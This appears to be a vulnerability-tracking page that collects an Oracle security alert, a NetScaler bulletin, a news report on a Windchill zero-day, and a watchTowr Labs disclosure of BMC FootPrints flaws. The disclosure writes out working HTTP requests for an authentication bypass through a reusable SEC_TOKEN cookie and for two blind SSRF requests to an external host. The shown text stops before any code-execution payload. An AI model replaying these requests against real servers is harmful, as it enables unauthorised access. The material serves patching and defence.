Recent bundles

Vulnerability CVE-2026-21992 in Oracle Identity Manager and Oracle Web Services Manager

2026-03-23T16:16:00 by Alexandre Dulaunoy

JSON

Oracle Security Alert Advisory - CVE-2026-21992

Description

This Security Alert addresses vulnerability CVE-2026-21992 in Oracle Identity Manager and Oracle Web Services Manager. This vulnerability is remotely exploitable without authentication. If successfully exploited, this vulnerability may result in remote code execution.

Oracle strongly recommends that customers apply the updates or mitigations provided by this Security Alert as soon as possible. Oracle always recommends that customers remain on actively-supported versions and apply all Security Alerts and Critical Patch Update security patches without delay.

Affected Products and Patch Information

The security vulnerability addressed by this Security Alert affects the products listed below.

Please click on the links in the Patch Availability Document column below to access the documentation for patch availability information and installation instructions.

Security Alert Supported Products and Versions

Patches released through the Security Alert program are provided only for product versions that are covered under the Premier Support or Extended Support phases of the Lifetime Support Policy. Oracle recommends that customers plan product upgrades to ensure that patches released through the Security Alert program are available for the versions they are currently running.

Product releases that are not under Premier Support or Extended Support are not tested for the presence of vulnerabilities addressed by this Security Alert. However, it is likely that earlier versions of affected releases are also affected by these vulnerabilities. As a result, Oracle recommends that customers upgrade to supported versions.

Fusion Middleware products are patched in accordance with the Software Error Correction Support Policy explained in My Oracle Support Note KB65129. Please review the Technical Support Policies for further guidelines regarding support policies and phases of support.

References

Risk Matrix Content

Risk matrices list only security vulnerabilities that are newly addressed by the patches associated with this advisory. Risk matrices for previous security patches can be found in previous Critical Patch Update advisories and Alerts. An English text version of the risk matrices provided in this document is here.

Security vulnerabilities are scored using CVSS version 3.1 (see Oracle CVSS Scoring for an explanation of how Oracle applies CVSS version 3.1).

Oracle conducts an analysis of each security vulnerability addressed by a Security Alert. Oracle does not disclose detailed information about this security analysis to customers, but the resulting Risk Matrix and associated documentation provide information about conditions required to exploit the vulnerability and the potential impact of a successful exploit. Oracle provides this information so that customers may conduct their own risk analysis based on the particulars of their product usage. For more information, see Oracle vulnerability disclosure policies.

The protocol in the risk matrix implies that all of its secure variants are affected as well. For example, if HTTP is listed as an affected protocol, it implies that HTTPS is also affected. The secure variant of a protocol is listed in the risk matrix only if it is the only variant affected.

Modification History

Date	Note
2026-March-20	Rev 2. Added note.
2026-March-19	Rev 1. Initial Release.

Oracle Fusion Middleware Risk Matrix

This Security Alert contains 2 new security patches for Oracle Fusion Middleware. Both of these vulnerabilities may be remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials. The English text form of this Risk Matrix can be found here.

CVE ID: BaseScore
Product: AttackVector
Component: AttackComplex
Protocol: PrivsReq'd
RemoteExploitwithoutAuth.?: UserInteract
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): Scope
Supported Versions Affected: Confid-entiality
Notes: Inte-grity
Avail-ability
CVE ID: CVE-2026-21992
Product: Oracle Identity Manager
Component: REST WebServices
Protocol: HTTP
RemoteExploitwithoutAuth.?: Yes
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
Supported Versions Affected: Network
Notes: Low
None
None
Un-changed
High
High
High
12.2.1.4.0, 14.1.2.1.0
CVE ID: CVE-2026-21992
Product: Oracle Web Services Manager
Component: Web Services Security
Protocol: HTTP
RemoteExploitwithoutAuth.?: Yes
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
Supported Versions Affected: Network
Notes: Low
None
None
Un-changed
High
High
High
12.2.1.4.0, 14.1.2.1.0
See Note 1

Notes:

Oracle Web Services Manager is installed with an Oracle Fusion Middleware Infrastructure.

Related vulnerabilities: CVE-2026-21992

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

2026-03-23T15:53:28 by Alexandre Dulaunoy

JSON

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

Article ID: CTX696300

Description

NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities mentioned below:

CVE-ID: CVE-2026-3055
Description: Insufficient input validation leading to memory overread
Pre-conditions: Citrix ADC or Citrix Gateway must be configured as a SAML IDP
CWE: CWE-125: Out-of-bounds Read
CVSS v4.0: CVSS v4.0 Base Score: 9.3(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
CVE-ID: CVE-2026-4368
Description: Race Condition leading to User Session Mixup
Pre-conditions: Appliance must be configured as:Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server
CWE: CWE-362: Race Condition
CVSS v4.0: CVSS v4.0 Base Score: 7.7(CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

What Customers Should Do

CVE 2026-3055 was identified internally through our ongoing security reviews and broader efforts to strengthen the security of the product.

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible.

NetScaler ADC and NetScaler Gateway 14.1-66.59 and later releases
NetScaler ADC and NetScaler Gateway 13.1-62.23 and later releases of 13.1
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.262 and later releases of 13.1-FIPS and 13.1-NDcPP

Note: Customers are recommended to upgrade their appliances to one of the supported versions that address the vulnerabilities.

CVE-2026-3055 :

Customers can determine if they have an appliance configured as a SAML IDP Profile by inspecting their NetScaler Configuration for the specified string:

add authentication samlIdPProfile .*

CVE-2026-4368

Customers can determine if they have an appliance configured as one of the following by inspecting their NetScaler Configuration for the specified strings

An Auth Server (AAA Vserver):
- add authentication vserver .*
A Gateway (VPN Vserver, ICA Proxy, CVPN, RDP Proxy) :
- add vpn vserver .*

Environment

The information on this page is being provided to you on an "AS IS" and "AS-AVAILABLE" basis. The issues described on this page may or may not impact your system(s). Cloud Software Group Holdings, Inc. and its subsidiaries (collectively, "Cloud SG") make no representations, warranties, or guarantees as to the information contained herein. ANY AND ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE ARE HEREBY DISCLAIMED. BY ACCESSING THIS PAGE, YOU ACKNOWLEDGE THAT CLOUD SG SHALL IN NO EVENT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, PUNITIVE, OR CONSEQUENTIAL DAMAGES THAT ARISE OUT OF YOUR USE OR FAILURE TO USE THE INFORMATION CONTAINED HEREIN. Cloud SG reserves the right to change or update the information on this page at any time. We accordingly recommend that you always view the latest version of this page. The information contained herein is being provided to you under the terms of your applicable customer agreement with Cloud SG, and may be used only for the purposes contemplated by such agreement. If you do not have such an agreement with Cloud SG, this information is provided under the cloud.com Terms of Use, and may be used only for the purposes contemplated by such Terms of Use.

Issue/Introduction

Severity - Critical

Description of Problem

Vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.

Affected Versions:

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:

CVE-2026-3055:

NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-66.59
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-62.23
NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.262

CVE-2026-4368:

NetScaler ADC and NetScaler Gateway  14.1-66.54

Note: This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

Additional Information

What Citrix is Doing

Citrix is notifying customers and channel partners about this potential security issue through the publication of this security bulletin on the Citrix Knowledge Center at https://support.citrix.com/support-home/topic-article-list?trendingCategory=20&trendingTopicName=Security%20Bulletin

Obtaining Support on This Issue

If you require technical assistance with this issue, please contact Citrix Technical Support. Contact details for Citrix Technical Support are available at https://support.citrix.com/support-home/home

Subscribe to Receive Alerts

Citrix strongly recommends that all customers subscribe to receive alerts when a Citrix security bulletin is created or modified at https://support.citrix.com/wolken-support/view/aboutsupport/my-support-alerts

Reporting Security Vulnerabilities to Citrix

Citrix welcomes input regarding the security of its products and considers any and all potential vulnerabilities seriously. For details on our vulnerability response process and guidance on how to report security-related issues to Citrix, please see the following webpage: https://www.cloud.com/trust-center/support

Related vulnerabilities: CVE-2026-4368 CVE-2026-3055

Critical RCE Vulnerability reported in Windchill

2026-03-23T12:31:11 by Alexandre Dulaunoy

JSON

Zero-day allows code execution in WindChill and FlexPLM | heise online

Zero-day allows code execution in WindChill and FlexPLM

The software Windchill and FlexPLM contains a security vulnerability that allows code execution. The manufacturer urgently calls for security measures to be taken – a patch is not yet available at the moment.

Information about the vulnerability is scarce; neither a CVE identifier nor warnings from national CERTs (Computer Emergency Response Team) are available. However, the manufacturer and its partners appear to be concerned: they are assigning the highest score of 10.0 points on the CVSS scale and urging customers to react immediately.

Apparently, the error is hidden in the deserialization of the servlets /servlet/WindchillGW/com.ptc.wvs.server.publish.Publish and /servlet/WindchillAuthGW/com.ptc.wvs.server.publish.Publish. If these are accessible to an attacker, for example, because the Windchill server is reachable from the internet, they can inject and execute code.

Many versions affected

According to the manufacturer PTC's extremely brief security notice in the Knowledge Base, the following versions are affected:

Windchill PDMLink 11.0 M030
Windchill PDMLink 11.1 M020
Windchill PDMLink 11.2.1.0
Windchill PDMLink 12.0.2.0
Windchill PDMLink 13.0.2.0
Windchill PDMLink 13.1.0.0
Windchill PDMLink 13.1.1.0
Windchill PDMLink 13.1.2.0
Windchill PDMLink 13.1.3.0
Windchill PDMLink 12.1.2.0
FlexPLM 11.0 M030
FlexPLM 11.1 M020
FlexPLM 11.2.1.0
FlexPLM 12.0.0.0
FlexPLM 12.0.2.0
FlexPLM 12.0.3.0
FlexPLM 12.1.2.0
FlexPLM 12.1.3.0
FlexPLM 13.0.2.0
FlexPLM 13.0.3.0

Workaround: Restrict access via Apache configuration

Until a patch is available, admins should use a workaround. As described by the Windchill service provider EAC in a communication to its customers, this requires a configuration change to the Apache web server. According to EAC, this should be done immediately to neutralize the risk of an exploit.

Create a new configuration file <APACHE_HOME>/conf/conf.d/90-app-Windchill-Auth.conf. (If a file with the prefix 90- or higher already exists, the new file should receive the highest number to be loaded as the last file)
Incorporate the following directives into it:
<LocationMatch "^.*servlet/(WindchillGW|WindchillAuthGW)/com\.ptc\.wvs\.server\.publish\.Publish(?:;[^/]*)?/.*$">``Require all denied``</LocationMatch>
Restart the web server using the known commands.

Apparently active attacks – admins should keep their eyes open

Although the manufacturer claims to have no knowledge of successful attacks, service provider EAC mentions some "Indicators of Compromise" (IOC). This means that attacks against Windchill or FlexPLM servers must have already occurred. The IOCs indicate that after a successful exploit, attackers upload files with malicious code to the server, typically web shells. Instances operated by PTC itself are already protected.

Insecure deserialization is a known entry point for exploits and is popular with cybercriminals and state-sponsored attackers. Just a few days ago, the US cybersecurity agency added another deserialization vulnerability in Microsoft SharePoint to its database of Known Exploited Vulnerabilities.

(cku)

Don't miss any news – follow us on Facebook, LinkedIn or Mastodon.

This article was originally published in German. It was translated with technical assistance and editorially reviewed before publication.

Related vulnerabilities: GCVE-1-2026-0021

The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)

2026-03-19T14:30:50 by Alexandre Dulaunoy

JSON

The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)

SolarWinds. Ivanti. SysAid. ManageEngine. Giants of the KEV world, all of whom have ITSM side-projects.

ITSMs, as a group of solutions, have played pivotal roles in numerous ransomware gang campaigns - not only do they represent code running on a system, but they hold a significant amount of sensitive information. With the ability to track IT inventory, configuration files, and incident reports, threat actor campaigns have never been so organized.

BMC FootPrints last received a CVE in 2014. Today, we fix that. Digging into our archives, we're detailing vulnerabilities we discovered and chained in 2025 against (at the time fully patched) BMC FootPrints to achieve Pre-authenticated Remote Code Execution.

Welcome back to another monologue/watchTowr Labs blogpost.

The Horrors

What is BMC FootPrints?

BMC FootPrints is an IT Service Management (ITSM) solution designed to help IT teams manage service requests, incidents, assets, and changes through configurable workflows and an intuitive web interface.

Like most products in this category, it includes rollercoaster-esque excitement, such as:

Ticket management
Incident tracking
Workflow automation
Asset management
Reporting
And more

BMC FootPrints is one of two ITSM ‘product lines’ that BMC offers:

Helix, and
FootPrints

FootPrints has kept a fairly low profile, with minimal CVEs assigned to the product itself; the most recent was in 2014 (CVE-2025-24813 is for Tomcat, don't @ us). A tell?

If we take that "tell", and combine it with an end-user comment we found on HackForums;

> “BMC Footprints has been, for the most part, solid. We have been using it for a few years now, and have recently updated V11. We are currently in the process of upgrading to V12, and we are told that it is a total rewrite and should improve the experience as it no longer written in an outdated programming language with heavy reliance on JRE. We were disappointed to hear that there is no way to do a straight upgrade from V11 to V12."

Well, you can see where this is going.

What Did You Do Now, watchTowr?

To cut to the chase - in today's blog post, we’ll be walking through four (4) distinct vulnerabilities, our discovery process, and their eventual chaining.

CVE-2025-71257 / WT-2025-0069 - Authentication Bypass
CVE-2025-71258 / WT-2025-0070 - Server-Side Request Forgery
CVE-2025-71259 / WT-2025-0071 - Server-Side Request Forgery
CVE-2025-71260 / WT-2025-0072 - Deserialization of Untrusted Data (RCE)

The following branches/versions were identified to be affected:

BMC FootPrints 20.20.02 to 20.24.01.001

Disclosure and Remediation Historical Timeline Originally Written On Parchment It Was So Long Ago

We've moved the timeline here. Why? No reason.

Date: 6th June 2025
Detail: watchTowr discloses WT-2025-0069, WT-2025-0070, WT-2025-0071, WT-2025-0072 to BMC
Date: 6th June 2025
Detail: watchTowr hunts across client attack surfaces for exposure
Date: 9th June 2025
Detail: watchTowr provides the Aspectjweaver RCE gadget to BMC
Date: 12th June 2025
Detail: BMC acknowledge receipt of reports
Date: 16th June 2025
Detail: BMC confirms successful reproduction of all vulnerabilities except WT-2025-0072 (RCE) and requests more information
Date: 20th June 2025
Detail: watchTowr provides a point and click Python PoC to reproduce the Authentication Bypass (WT-2025-0069) and Remote Code Execution chain (WT-2025-0072)
Date: 20th June 2025
Detail: BMC report receiving the PoC and will report back
Date: 1st July 2025
Detail: watchTowr asks for update on the RCE reproduction
Date: 3rd July 2025
Detail: BMC report issues in reproducing the RCE and ask for more clarification on watchTowr environment
Date: 3rd July 2025
Detail: watchTowr provides screenshot evidence of the exploit chain
Date: 4th July 2025
Detail: BMC request hash of the web.xml in the watchTowr environment
Date: 5th July 2025
Detail: watchTowr provides hash of various files including the installer of the FootPrints environment
Date: 18th July 2025
Detail: watchTowr requests an update
Date: 1st August 2025
Detail: watchTowr requests an update
Date: 29th August 2025
Detail: BMC acknowledges issues with emails and will report back soon
Date: 2nd September 2025
Detail: BMC report back that they were able to reproduce the RCE and all four issues have been fixed! Hot Fixes Released: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
Date: 2nd March 2026
Detail: CVEs assigned: • CVE-2025-71257 / WT-2025-0069 : Authentication Bypass • CVE-2025-71258 / WT-2025-0070 : Server-Side Request Forgery • CVE-2025-71259 / WT-2025-0071 : Server-Side Request Forgery • CVE-2025-71260 / WT-2025-0072 : Deserialization of Untrusted Data (RCE)
Date: 18th March 2026
Detail: watchTowr remembers this post exists, cries, and publishes research

Sigh.

Back To The Story

As always with any research, we set ourselves creative, unique, and clear goals - and withheld food until they were achieved.

Can we achieve Remote Code Execution?
- Can we achieve Remote Code Execution?
  - Can we achieve Remote Code Execution?
    - Can we achieve Remote Code Execution?
      - Can we achieve Remote Code Execution without authentication?

Diving In

With BMC FootPrints easily installed on a Windows Server, we’re off to the races.

Upon first installation, a browser is launched to the main application entry point located at http://127.0.0.1:8080/footprints/servicedesk .

Whilst the supporting Apache Tomcat server is installed in its own directory - C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0 - the expanded war file containing the application source code was found in C:\\Program Files\\BMC Software\\FootPrints\\web.

As we’ve covered in previous research, Tomcat applications tend to follow a familiar structure during reverse engineering. A web.xml file defines servlet routes, jsp files execute as server-side scripts, and jar and class files contain the compiled Java source code behind the application.

To avoid friction later in the process, we extracted all files upfront, making decompilation and remote debugging significantly easier.

Authentication Bypass - CVE-2025-71257/WT-2025-0069

When attempting to directly access the jsp files in the web root, we quickly discovered a filter in place that redirected all requests to the login page.

The following is an example of an unauthenticated request, which is caught by the ‘filter’ and redirects us:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=9CAD4CA3D09E640B4AE3DCDCE2116B47; Path=/footprints/servicedesk; HttpOnly
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Location: http://{{Hostname}}:8080/footprints/servicedesk/login.html
Content-Length: 0
Date: Tue, 17 Jun 2025 08:36:00 GMT

It behaved like a whitelist filter, suggesting the logic was declared elsewhere using a regex-style pattern. Our goal became identifying which endpoints could still be reached pre-authentication while satisfying that filter logic.

This was quickly traced to deployment/non-version-specific/conf/footprints-application-beans.xml.

There, we can see a filter configured to intercept all request URIs via /**:


    &lt;security:intercept-url pattern="/**"
      access="isAuthenticated()" requires-channel="any" /&gt;

The file contains a total of 58 filters - a non-trivial amount to work through, especially given that several are wildcarded and expose an even broader attack surface.

From a post-authentication perspective, the attack surface is substantial. At this stage, however, we’re constrained by the initial isAuthenticated() filter - meaning even servlets explicitly declared in web.xml remain unreachable to unauthenticated users.

In general, the filters look like this:


  &lt;security:http pattern="/survey/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;   

    &lt;security:headers&gt;
         &lt;security:frame-options disabled="true"&gt;&lt;/security:frame-options&gt;
    &lt;/security:headers&gt;


    &lt;security:intercept-url pattern="/survey/**"
      access="isAuthenticated()" requires-channel="any" /&gt;


    &lt;security:session-management session-fixation-protection="none"/&gt;

    &lt;security:csrf disabled="true"/&gt;


    &lt;security:custom-filter before="ANONYMOUS_FILTER" ref="surveyAuthenticationFilter"/&gt;
    &lt;security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" /&gt;
    &lt;security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" /&gt;
    &lt;security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" /&gt;
  &lt;/security:http&gt;


  &lt;security:http pattern="/portal/set/**" auto-config="false" use-expressions="true" disable-url-rewriting="false" &lt;--- [0]
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;   

    &lt;security:headers&gt;
         &lt;security:frame-options disabled="true"&gt;&lt;/security:frame-options&gt;
    &lt;/security:headers&gt;


    &lt;security:intercept-url pattern="/portal/set/**"
      access="isAuthenticated()" requires-channel="any" /&gt;

Given the above, looking at [0], we can see that requests matching the pattern /portal/set/** pass through the securityContextRepository filter - potentially allowing pre-authenticated access.

Given the limited reachable surface, we decided to work through each filter and endpoint one by one, just in case something had been exposed unintentionally.

Due diligence, and all that.

> It really can’t be overstated - when researching products with large codebases and complex security filter chains, it’s very easy to get lost in the weeds. And we regularly do. Sometimes you just need to trial-and-error the endpoints against a live instance. As such, we systematically attempted to request each endpoint and filter pattern to observe any differentials that might inspire a deeper investigation.

While the majority of the attack surface remained unreachable without authentication or satisfying the isAuthenticated() filter, this systematic approach did lead us to one particular filter - and its matching endpoint - that stood out immediately.

security:http pattern="/passwordreset/request/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;

It stood out because, when the pattern was satisfied, the server returned a security token cookie (SEC_TOKEN) in the response headers.

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 404 
Cache-Control: private
SET-COOKIE: SEC_TOKEN=wGCyXHdPS-slXYwxD5&amp;rtjHQ1&amp;Y1xBimP0dEJ-TjOCNMJV-ULL; Domain={{Hostname}}; Path=/footprints/servicedesk/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:37:58 GMT

&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;

It’s important to stress that no other endpoint or filter returned this SEC_TOKEN, which immediately raised a few questions for us - what exactly was this token used for, and how was it being set?

Following the code path, we were able to trace an additional filter in the call chain:

com/numarasoftware/footprints/application/web/filter/GenericGuestAuthenticationFilter.class

 public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        boolean applyAnonymousForThisRequest = false;
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;
        if (request.getAttribute("__system_guest_filter_applied") != null) {
            chain.doFilter(request, response);
        } else {
            request.setAttribute("__system_guest_filter_applied", Boolean.TRUE);

            try {
                applyAnonymousForThisRequest = this.applyGuestForThisRequest(request, response); &lt;--- [0]
            } catch (AuthenticationException var8) {
                AuthenticationException ex = var8;
                this._failureHandler.onAuthenticationFailure(request, response, ex);
                return;
            }

            if (!this.isAlreadyLoggedIn()) {
                if (!this.hasLoginRequired(request) &amp;&amp; applyAnonymousForThisRequest) { &lt;--- [1]
                    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
                    if (!SystemSessionContext.hasValidSession()) {
                        this.createGuestAuthentication(request, response, authentication); &lt;--- [2]
                        LOG.debug("Populated SecurityContextHolder with anonymous token: '" + SecurityContextHolder.getContext().getAuthentication() + "'", new Object[0]);
                    } else {
                        LOG.debug("SecurityContextHolder not populated with anonymous token because it already contained: '" + authentication + "'", new Object[0]);
                    }
                } else if (SystemSessionContext.hasValidSession()) {
                    SystemSessionInfo sessionInfo = SystemSessionContext.getSessionInfo();
                    if (sessionInfo.isGuestUserSession()) {
                        this._sessionStrategy.onInvalidAuthentication();
                    }
                }
            }

            chain.doFilter(req, res);
        }
    }

Looking at the above, [0] shows the point where the code checks for applyAnonymousForThisRequest and applyGuestForThisRequest.

There are five implementations of this logic:

This makes sense. Looking back at the patterns and filters defined in the earlier configuration file, we can see that passwordResetRequestAuthenticationFilter is one of the filters explicitly configured:


    &lt;security:intercept-url pattern="/passwordreset/request/**"
      access="isAuthenticated()" requires-channel="any" /&gt;


    &lt;security:session-management session-fixation-protection="none"/&gt;

    &lt;security:csrf disabled="true"/&gt;


    &lt;security:custom-filter before="ANONYMOUS_FILTER" ref="passwordResetRequestAuthenticationFilter"/&gt;]
    &lt;security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" /&gt;
    &lt;security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" /&gt;
    &lt;security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" /&gt;
  &lt;/security:http&gt;

Following this code block, we can see the boolean being evaluated at [1], before execution flows into createGuestAuthentication at [2].

From there, several additional checks are performed across multiple classes, eventually leading to the cookie being set. Which naturally led to the most important question - what, exactly, does this token allow us to do?

Our first litmus test was simple: determine whether this SEC_TOKEN granted any form of authentication or session state. In other words, could it satisfy the original isAuthenticated() check from the catch-all filter, and in doing so allow us to bypass an authentication boundary?

Only one way to find out:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=kziK9aCBHIyTtYDt3SNPpN_or+AUyF9GamRWPowwMWKXMF7Rqr

HTTP/1.1 404 
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:47:42 GMT

&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;&lt;style type="text/css"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;<h1>HTTP Status 404 – Not Found</h1><hr><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr><h3>Apache Tomcat/9.0.106</h3>&lt;/body&gt;&lt;/html&gt;

At this point, some of you are probably wondering what the significance of the above is. It’s just a 404, right? A standard not-found response. Easy to dismiss, move on, test the next endpoint, nothing to see here.

Not quite - this is enterprise software, it’s different!

It’s behavioral proof that we’ve successfully stepped into a privileged session and bypassed the catch-all filter that would otherwise have redirected us to the login page.

Fox In The Hen House, Fox In The Hen House!

Let’s take stock of where we are.

During the initial recon phase, the application’s exposed attack surface is heavily constrained by the security filter patterns. Pre-authentication, the number of reachable endpoints and APIs is drastically limited.

With this new SEC_TOKEN in hand - and the redirect filter effectively bypassed - the reachable surface expands dramatically. What was a tightly restricted set of endpoints now opens up into a much broader range of application functionality.

It’s time to enumerate.

Using the SEC_TOKEN, we work back through the API systematically and quickly find several straightforward wins - including a handful of medium-impact issues that we won’t dive into the root cause analysis for here.

Blind SSRF - CVE-2025-71258/WT-2025-0070

GET /footprints/servicedesk/import/searchWeb?url=https://{{external-host}}&amp;dataEncoding=x HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Blind SSRF - CVE-2025-71259/WT-2025-0071

GET /footprints/servicedesk/externalfeed/RSS?feedUrl=https://{{external-host}} HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Unfortunately, though, while ‘vulnerabilities’, we haven’t met our original research goal - and thus we are not allowed to eat.

The reality is that blind SSRF vulnerabilities barely scratch the surface when it comes to satisfying vulnerabilities - we’re still craving mayhem.

Remote Code Execution WT-2025-0072 - CVE-2025-71260

Having blasted through the API without achieving our goal, we turned our attention back to the broader application architecture.

The application runs on Tomcat, and as expected, there is a web.xml containing servlet definitions - and with them, additional potential routes.

More specifically, in C:\\Program Files\\BMC Software\\FootPrints\\web\\WEB-INF\\web.xml, we can see a number of URL patterns mapped to servlets of interest.

For example:

    &lt;servlet-mapping&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;url-pattern&gt;/aspnetconfig&lt;/url-pattern&gt;
    &lt;/servlet-mapping&gt;

The URI /aspnetconfig maps to the VmwDynamicServlet servlet, which in turn maps to the class GhDynamicHttpServlet:

    &lt;servlet&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;servlet-class&gt;GhDynamicHttpServlet&lt;/servlet-class&gt;
    &lt;/servlet&gt;

Before diving into the darker depths of the code, as mentioned earlier, it’s important to play with your food before deconstructing it.

We decided to issue a request to our live instance first just to see what the endpoint actually looked like in practice.

Sometimes, you need to taste with your eyes:

GET /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

HTTP/1.1 200 
Cache-Control: private
Set-Cookie: JSESSIONID=4CC85B0B94E801ADA5C5DAFC865244A7; Path=/footprints/servicedesk; HttpOnly
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 1396
Date: Wed, 03 Sep 2025 02:32:04 GMT
Keep-Alive: timeout=20
Connection: keep-alive

"&gt;

&lt;html xmlns="&lt;http://www.w3.org/1999/xhtml&gt;" &gt;
&lt;head&gt;&lt;title&gt;
    ASP.Net Web Application Administration
&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
    &lt;form method="post" action="SecurError.aspx" id="form1"&gt;
&lt;script type="text/javascript"&gt;
//
&lt;/script&gt;
&lt;div&gt;
    &lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="rO0ABXNyACJzeXN0ZW0uV2ViLlVJLlBhZ2UkU3RhdGVTZXJpYWxpemVyAAAAAADK/+4MAAB4cgANc3lzdGVtLk9iamVjdAAAAAAAyv/uAwAAeHB3AwwAAHg=" /&gt;
&lt;/div&gt;
    &lt;div style="font-weight: bold; font-size: 11pt;"&gt;
        By default, the Web Site Administration Tool may only be accessed locally. 
        To enable accessing it from a remote computer, open the Web.config file, add the key <br>
        allowRemoteConfiguration to the appSettings section, and set its value to true: <br>
        <pre>        &amp;lt appSettings &amp;gt 
              &amp;lt/ add key="allowRemoteConfiguration" value="True" /&amp;gt 
        &amp;lt/ appSettings &amp;gt
        </pre>
    &lt;/div&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

Now, for those following along at home who may not be avid readers, we want to call back to our IBM Operational Decision Manager RCE, research - there’s an important pattern here in the __VIEWSTATE response: rO0ABXN!

This pattern is the Base64 prefix of a Java object. If we decode the value, we can immediately see the telltale signs of a serialized Java object:

¬ísr"system.Web.UI.Page$StateSerializerÊÿîxrsystem.ObjectÊÿîxpwx

At this point, our interest is very much piqued. You can probably already see where this is heading - and yes, we’ll get there.

Hold on tight for deserialization.

Strap In Folks!

The appliance’s response exposes a raw Java object in the __VIEWSTATE parameter, which immediately stands out.

__VIEWSTATE is typically associated with .NET applications as we’re sure you know - but here, we’re dealing with Java.

Sigh.. Mono…

